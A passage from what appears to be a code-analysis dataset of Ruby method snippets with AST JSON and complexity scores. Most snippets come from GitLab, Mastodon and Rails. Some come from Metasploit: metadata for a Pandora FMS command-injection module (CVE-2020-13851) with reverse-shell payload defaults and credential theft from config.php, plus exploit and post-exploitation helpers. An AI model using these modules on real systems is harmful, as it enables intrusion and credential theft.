flaw by issuing such an HTTP POST request,\n          with the `target` parameter set to contain the payload. If a shell is\n          obtained, the module will try to obtain the local MySQL database\n          password via a simple `grep` command on the plaintext\n          `/var/www/html/pandora_console/include/config.php` file.\n\n          Valid credentials for a Pandora FMS account are required. The account\n          does not need to have admin privileges.\n          This module has been successfully tested on Pandora 7.0 NG 744 running\n          on CentOS 7 (the official virtual appliance ISO for this version).\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Fernando Catoira', # Discovery\n          'Julio Sanchez', # Discovery\n          'Erik Wynter' # @wyntererik - Metasploit\n        ],\n        'References' => [\n          ['CVE', '2020-13851'], # RCE via the `events` feature\n          ['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities']\n        ],\n        'Platform' => ['linux', 'unix'],\n        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],\n        'Targets' => [\n          [\n            'Linux (x86)', {\n              'Arch' => ARCH_X86,\n              'Platform' => 'linux',\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'\n              }\n            }\n          ],\n          [\n            'Linux (x64)', {\n              'Arch' => ARCH_X64,\n              'Platform' => 'linux',\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ],\n          [\n            'Linux (cmd)', {\n              'Arch' => ARCH_CMD,\n              'Platform' => 'unix',\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/unix/reverse_bash'\n              }\n            }\n          ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2020-06-04',\n        'DefaultTarget' => 1,\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]\n        }\n      )\n    )\n    register_options [\n      OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']),\n      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),\n      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora'])\n    ]\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Pandora FMS Events Remote Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability (CVE-2020-13851) in Pandora\\n\"]},{\"type\":\"str\",\"children\":[\"          FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps\\n\"]},{\"type\":\"str\",\"children\":[\"          older versions) in order to execute arbitrary commands.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module takes advantage of a command injection vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\"          `Events` feature of Pandora FMS. This flaw allows users to execute\\n\"]},{\"type\":\"str\",\"children\":[\"          arbitrary commands via the `target` parameter in HTTP POST requests to\\n\"]},{\"type\":\"str\",\"children\":[\"          the `Events` function. After authenticating to the target, the module\\n\"]},{\"type\":\"str\",\"children\":[\"          attempts to exploit this flaw by issuing such an HTTP POST request,\\n\"]},{\"type\":\"str\",\"children\":[\"          with the `target` parameter set to contain the payload. If a shell is\\n\"]},{\"type\":\"str\",\"children\":[\"          obtained, the module will try to obtain the local MySQL database\\n\"]},{\"type\":\"str\",\"children\":[\"          password via a simple `grep` command on the plaintext\\n\"]},{\"type\":\"str\",\"children\":[\"          `/var/www/html/pandora_console/include/config.php` file.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Valid credentials for a Pandora FMS account are required. The account\\n\"]},{\"type\":\"str\",\"children\":[\"          does not need to have admin privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been successfully tested on Pandora 7.0 NG 744 running\\n\"]},{\"type\":\"str\",\"children\":[\"          on CentOS 7 (the official virtual appliance ISO for this version).\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Fernando Catoira\"]},{\"type\":\"str\",\"children\":[\"Julio Sanchez\"]},{\"type\":\"str\",\"children\":[\"Erik Wynter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2020-13851\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux (x86)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x86/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux (x64)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux (cmd)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_bash\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2020-06-04\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path to Pandora FMS\"]},{\"type\":\"str\",\"children\":[\"/pandora_console/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username to authenticate with\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password to authenticate with\"]},{\"type\":\"str\",\"children\":[\"pandora\"]}]}]}]}]}]}]}","id":"adcdefe1-8a48-4e65-ad19-e8ed81f59066"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file_collection/merge_request_diff_batch.rb","start_line":20,"raw_source":"def initialize(merge_request_diff, batch_page, batch_size, diff_options:)\n          super(merge_request_diff, diff_options: diff_options)\n\n          @paginated_collection = load_paginated_collection(batch_page, batch_size, diff_options)\n\n          @pagination_data = {\n            total_pages: @paginated_collection.blank? ? nil : relation.size\n          }\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request_diff\"]},{\"type\":\"arg\",\"children\":[\"batch_page\"]},{\"type\":\"arg\",\"children\":[\"batch_size\"]},{\"type\":\"kwarg\",\"children\":[\"diff_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request_diff\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_options\"]},{\"type\":\"lvar\",\"children\":[\"diff_options\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@paginated_collection\",{\"type\":\"send\",\"children\":[null,\"load_paginated_collection\",{\"type\":\"lvar\",\"children\":[\"batch_page\"]},{\"type\":\"lvar\",\"children\":[\"batch_size\"]},{\"type\":\"lvar\",\"children\":[\"diff_options\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@pagination_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_pages\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@paginated_collection\"]},\"blank?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\"]},\"size\"]}]}]}]}]}]}]}","id":"dd6a8b37-111e-4ae1-abcf-bbf00d27f3db"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/after_block_domain_from_account_service.rb","start_line":67,"raw_source":"def domain_block_event\n    @domain_block_event ||= RelationshipSeveranceEvent.create!(type: :user_domain_block, target_name: @domain)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"domain_block_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@domain_block_event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RelationshipSeveranceEvent\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"user_domain_block\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_name\"]},{\"type\":\"ivar\",\"children\":[\"@domain\"]}]}]}]}]}]}","id":"576f2bc0-4a7a-48aa-a591-977652754795"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application.rb","start_line":549,"raw_source":"def load_generators(app = self) # :nodoc:\n      app.ensure_generator_templates_added\n      super\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_generators\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"app\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"ensure_generator_templates_added\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"d835f8ca-3882-4f0d-9427-04de02a05015"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/imperva_securesphere_exec.rb","start_line":112,"raw_source":"def send_request(data)\n    req_params = {\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path),\n      'data' => data.to_json\n    }\n\n    if !datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?\n      unless @cookie\n        res = send_request_cgi({\n          'method' => 'GET',\n          'uri' => normalize_uri('/')\n        })\n        unless res\n          fail_with(Failure::Unreachable, \"#{peer} - Connection failed\")\n        end\n\n        @cookie = res.get_cookies\n      end\n\n      req_params['cookie'] = @cookie\n      req_params['headers'] = {\n        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])\n      }\n    end\n\n    send_request_cgi(req_params, datastore['TIMEOUT'])\n  end","complexity_score":45.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_json\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},\"blank?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]},\"blank?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cookie\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Connection failed\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"req_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}]}]}","id":"4f77a06b-37ad-43d0-bd61-8e461cddb60d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250611161930_add_partitioned_indexes_to_sent_notifications.rb","start_line":25,"raw_source":"def down\n    INDEX_DEFINITIONS.each do |_columns, options| # rubocop:disable Style/HashEachMethods -- not a hash\n      remove_concurrent_partitioned_index_by_name(TABLE_NAME, options[:name])\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INDEX_DEFINITIONS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_columns\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_partitioned_index_by_name\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"dbcf44d6-87b0-42bd-96a6-48cb36d7de14"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/markdown_engines/glfm_markdown.rb","start_line":76,"raw_source":"def headers_disabled?\n          context[:no_header_anchors]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"headers_disabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_header_anchors\"]}]}]}","id":"687601a3-f992-4c0e-96b4-636b89c1a3bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/import_export/import_service.rb","start_line":77,"raw_source":"def tree_restorer\n        @tree_restorer ||=\n          Gitlab::ImportExport::Group::TreeRestorer.new(\n            user: current_user,\n            shared: shared,\n            group: group\n          )\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tree_restorer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tree_restorer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Group\"]},\"TreeRestorer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shared\"]},{\"type\":\"send\",\"children\":[null,\"shared\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}]}]}]}","id":"97d036df-6cc5-4d6a-8458-056e5f058b35"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/cascaded_eager_loading_test.rb","start_line":189,"raw_source":"def test_eager_association_loading_with_recursive_cascading_four_levels_has_and_belongs_to_many\n    sink = Vertex.all.merge!(includes: { sources: { sources: { sources: :sources } } }, order: \"vertices.id DESC\").first\n    assert_equal vertices(:vertex_1), assert_queries_count(0) { sink.sources.first.sources.first.sources.first.sources.first }\n  end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_association_loading_with_recursive_cascading_four_levels_has_and_belongs_to_many\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sink\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vertex\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sources\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sources\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sources\"]},{\"type\":\"sym\",\"children\":[\"sources\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"str\",\"children\":[\"vertices.id DESC\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"vertices\",{\"type\":\"sym\",\"children\":[\"vertex_1\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sink\"]},\"sources\"]},\"first\"]},\"sources\"]},\"first\"]},\"sources\"]},\"first\"]},\"sources\"]},\"first\"]}]}]}]}]}","id":"ac0a1436-ae7d-493e-8d9c-65a903e970e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/accepts_pending_invitations.rb","start_line":6,"raw_source":"def accept_pending_invitations(user: resource)\n    return unless user.active_for_authentication?\n\n    if user.pending_invitations.load.any?\n      user.accept_pending_invitations!\n      after_pending_invitations_hook\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"accept_pending_invitations\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"active_for_authentication?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"pending_invitations\"]},\"load\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"accept_pending_invitations!\"]},{\"type\":\"send\",\"children\":[null,\"after_pending_invitations_hook\"]}]},null]}]}]}","id":"f64133a7-dd81-4226-864a-ea0b26f58b36"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/file.rb","start_line":503,"raw_source":"def write_file(file_name, data)\n    if session.type == 'meterpreter'\n      return _write_file_meterpreter(file_name, data)\n    elsif session.type == 'powershell'\n      return _write_file_powershell(file_name, data)\n    elsif session.respond_to? :shell_command_token\n      if session.platform == 'windows'\n        if _can_echo?(data)\n          return _win_ansi_write_file(file_name, data)\n        else\n          return _win_bin_write_file(file_name, data)\n        end\n      else\n        return _write_file_unix_shell(file_name, data)\n      end\n    else\n      return false\n    end\n  end","complexity_score":28.7,"ast_json":"{\"type\":\"def\",\"children\":[\"write_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_write_file_meterpreter\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"powershell\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_write_file_powershell\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"shell_command_token\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_can_echo?\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_win_ansi_write_file\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_win_bin_write_file\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_write_file_unix_shell\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"cf091870-f1f1-4ef0-bfa0-fe19bca38973"}
